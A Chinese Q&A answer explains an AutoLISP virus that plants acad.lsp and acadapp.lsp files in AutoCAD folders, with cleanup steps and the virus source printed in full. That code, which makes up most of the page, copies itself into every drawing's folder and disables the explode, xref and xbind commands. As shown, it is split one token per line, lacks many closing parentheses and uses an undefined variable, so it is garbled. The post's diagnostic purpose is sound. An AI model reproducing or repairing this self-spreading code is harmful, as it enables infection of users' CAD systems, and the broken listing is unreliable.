cad运行后为什么会产生ACAD.LISP

2024-11-26 00:03:30
推荐回答(1个)
回答1:

这是一个acad的lisp程序编写的病毒,
事件:
2003年7月1日,同事告诉我,acad里面的图块炸不开。
我检查发现打开图纸的应用程序调用出错>>>>>
出错指令指出错误为S::STARTUP
于是打开看acadr14.lsp acad.lsp acad.mnl
发现acad.lsp中有数十个(load "acadapp")
清理掉留一个(load "acadapp")
还不好使。
删除所有的(load "acadapp")。
还不好使。
而且每次打开一个图都会增加一个(load "acadapp")
?????
打开acadapp.lsp
发现有问题,代码不熟悉???还修改acad.lsp
我认为是病毒了。
呵呵,还是lisp病毒(不知道算不算是首创?)
瞧我的思路是多么敏捷。
下面就简单了。
分析代码,好在是明码,没有加密,呵呵,如果是
加密的我可能会以为是系统安装的辅助软件冲突而忽略呢。
感染涉及文件名为acad.lsp和acadapp.lsp
开始杀毒>>>把所有acad.lsp和acadapp.lsp都删除。
完成了??????怎么打开cad又出现了被删除的acad.lsp
唔?
全盘搜索,呵呵,找到了上百个acad.lsp。
不在“正确”位置上的acad.lsp删!
打开看看,有(load "acadapp")的删!算了,都删了。
还有全盘acadapp.lsp都删除。
然后修复系统:找个干净的计算机,把有的acad.lsp复制到
cad系统文件夹中。

总结及随想:
1、入侵原理acad打开图形时候,会先在图形所在目录查找acad.lsp
运行。这是入侵口。病毒搜索acad系统所在目录的acad.lsp,感染,
并且在该目录下生成acadapp.lsp。以后每次打开别的路径的图形
病毒也会控制,然后在该路径生成病原体acad.lsp完成传播。
(defun
s::startup
(/
old_cmd
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(subst
path
1
(-
(strlen
path)
8)))
(setq
mnlpath
(getvar
"menuname"))
(setq
nowdwg
(getvar
"dwgname"))
(setq
wjqm
(findfile
nowdwg))
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm)
(strlen
nowdwg))))
(setq
acadpath
(findfile
"acad.lsp"))
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath)
8)))
(setq
ns1
""
ns2
"")
(setq
lspbj
0)
(setq
wjqm
(strcat
path1
"acad.lsp"))
(if
(setq
wjm
(open
wjqm
"r"))
(progn
(while
(setq
wz
(read-line
wjm))
(setq
ns1
ns2)
(setq
ns2
wz)

(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7)
"acadapp")
(setq
lspbj
1))

(close
wjm)


(if
(and
(=
acadpath
dwgpath)
(/=
acadpath
path))
(progn
(setq
oldacad
(findfile
"acad.lsp"))
(setq
newacad
(strcat
path
"acadapp.lsp"))
(if
(=
lspbj
0)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"))
(setq
wjm
(open
wjqm
"a"))
(write-line
(strcat
"(load
"
(chr
34)
"acadapp"
(chr
34)
")")
wjm)
(write-line
"(princ)"
wjm)
(close
wjm)


(writeapp)

(progn
(if
(/=
nowdwg
"Drawing.dwg")
(progn
(setq
oldacad
(findfile
"acadapp.lsp"))
(setq
newacad
(strcat
dwgpath
"acad.lsp"))
(writeapp)




(command
"undefine"
"explode")
(command
"undefine"
"xref")
(command
"undefine"
"xbind")
(setvar
"cmdecho"
old_cmd)
(princ)

(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"))
(progn
(setq
wjm
(open
oldacad
"r"))
(while
(setq
wz
(read-line
wjm))
(write-line
wz
wjm1)

(close
wjm)
(close
wjm1)



(defun
C:explode
(/
p
cont
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
p
(ssget))
(if
p
(progn
(setq
cont
(sslength
p))
(princ
"\nSeltct
objects:")
(princ
cont)
(princ
"
found")
(princ
"\n")
(princ
cont)
(princ
"
was
not
able
to
be
explode")


(setvar
"cmdecho"
old_cmd)
(princ)

(defun
C:xref
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
old_cmd)
(princ)

(defun
C:xbind
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
old_cmd)
(princ)

(defun
C:burst
(/
p
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(princ
"\nBURST----将图块中的文字炸开后成为实体")
(setq
p
(ssget))
(setvar
"cmdecho"
old_cmd)
(princ)

(princ)